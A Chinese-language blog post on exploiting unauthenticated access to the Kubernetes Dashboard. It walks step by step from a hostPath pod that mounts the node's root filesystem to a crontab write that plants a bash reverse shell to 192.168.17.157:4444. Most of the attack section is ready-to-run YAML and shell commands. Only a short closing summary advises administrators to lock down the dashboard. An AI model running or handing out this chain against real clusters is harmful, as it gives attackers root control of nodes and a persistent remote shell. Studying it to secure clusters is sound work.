k8s dashboard无法访问(k8s权限)

文章前言

K8s Dashboard是Kubernetes的一个Web UI,它提供了一个用户友好的界面来管理和监控Kubernetes集群。它可以让用户通过图形化界面查看Kubernetes集群的状态和健康状况、创建、删除和修改资源对象、查看日志和监控数据等。K8s Dashboard还支持在多个集群之间进行切换,并提供了一些插件和扩展功能来增强其功能,本篇文章我们主要介绍K8s Dashboard的利用

漏洞描述

K8s Dashboard默认是存在鉴权机制的,用户可以通过kubeconfig或者Token两种方式登录,当用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录直接进入Dashboard,而且有时候可以直接访问K8s DashBoard,在这种情况下攻击者可以通过部署恶意Pod实现控制节点的目的

漏洞复现

K8s DashBoard未授权访问:

宿主Shell

Step 1:通过WEB UI界面创建一个pod,并将本地根目录挂载到pod的/mnt目录中

    apiVersion: v1kind: Podmetadata:  name: myappspec:  containers:  - image: nginx    name: container    volumeMounts:    - mountPath: /mnt      name: test-volume  volumes:  - name: test-volume    hostPath:      path: /

    k8s dashboard无法访问(k8s权限)

    k8s dashboard无法访问(k8s权限)

    Step 2:之后可以看到创建的myapp Pod

    k8s dashboard无法访问(k8s权限)

    Step 3:之后进入挂载的/mnt目录中,就是master节点的对应目录了

    k8s dashboard无法访问(k8s权限)

    k8s dashboard无法访问(k8s权限)

    Step 4:之后写计划任务

    echo -e \\\"* * * * * root bash -i >& /dev/tcp/192.168.17.157/4444 0>&1\\\\n\\\" >> /mnt/etc/crontab

    Step 5:成功反弹shell

    文末小结

    在本文中,我们介绍了K8s Dashboard的作用和功能,以及它在未授权访问的情况下存在的安全风险。我们强调了Kubernetes集群管理员需要加强对K8s Dashboard的管理和安全控制,以确保不会发生未授权访问的情况。同时,我们也提醒用户在使用K8s Dashboard时要注意安全,避免将敏感信息泄露给未经授权的访问者。

    原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34183.html

    (0)
    七芒星实验室's avatar七芒星实验室
    上一篇 2024年4月16日 上午8:16
    下一篇 2024年4月16日 上午8:18

    相关推荐

    发表回复

    您的邮箱地址不会被公开。 必填项已用 * 标注